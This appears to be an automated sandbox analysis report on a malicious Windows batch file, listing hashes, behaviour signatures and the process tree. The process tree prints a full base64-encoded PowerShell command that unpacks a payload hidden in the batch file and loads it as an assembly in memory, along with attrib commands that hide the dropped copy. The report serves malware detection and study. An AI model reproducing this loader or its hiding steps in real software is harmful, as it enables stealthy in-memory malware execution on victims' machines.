Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    09-11-2024 19:11

General

  • Target

    New folder/8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df.bat

  • Size

    2.1MB

  • MD5

    a5a4c0545136eb52dd37437623238dd6

  • SHA1

    3b8864445bac90d1ce0e4ff9b9bb8641728371d1

  • SHA256

    8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df

  • SHA512

    69b7d50551e7352d131390e1d70b74568e7ad4b7e66eebb8217aa22bd694249495f8933aa9fe14514d2f2ba039fee95e0090407369c84fd09003cd8f075a05a8

  • SSDEEP

    49152:HV/aYoonKuRO7Ci2BBVvI/W1yLNh+lMcs:y

Score
8/10

Malware Config

Signatures

  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\New folder\8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df.bat"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2724
    • C:\Windows\system32\attrib.exe
      attrib +s +h "C:\Users\Admin\AppData\Local\Temp\New folder\8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df.bat".exe
      2⤵
      • Sets file to hidden
      • Views/modifies file attributes
      PID:2780
    • C:\Users\Admin\AppData\Local\Temp\New folder\8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df.bat.exe
      "C:\Users\Admin\AppData\Local\Temp\New folder\8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df.bat".exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgABmVKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwAZlScAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2836
    • C:\Windows\system32\attrib.exe
      attrib -s -h "C:\Users\Admin\AppData\Local\Temp\New folder\8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df.bat".exe
      2⤵
      • Views/modifies file attributes
      PID:3068

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\New folder\8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df.bat.exe

    Filesize

    462KB

    MD5

    852d67a27e454bd389fa7f02a8cbe23f

    SHA1

    5330fedad485e0e4c23b2abe1075a1f984fde9fc

    SHA256

    a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

    SHA512

    327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

  • memory/2836-5-0x000007FEF589E000-0x000007FEF589F000-memory.dmp

    Filesize

    4KB

  • memory/2836-6-0x000000001B400000-0x000000001B6E2000-memory.dmp

    Filesize

    2.9MB

  • memory/2836-7-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

    Filesize

    9.6MB

  • memory/2836-8-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

    Filesize

    9.6MB

  • memory/2836-9-0x0000000001CB0000-0x0000000001CB8000-memory.dmp

    Filesize

    32KB

  • memory/2836-10-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

    Filesize

    9.6MB

  • memory/2836-11-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

    Filesize

    9.6MB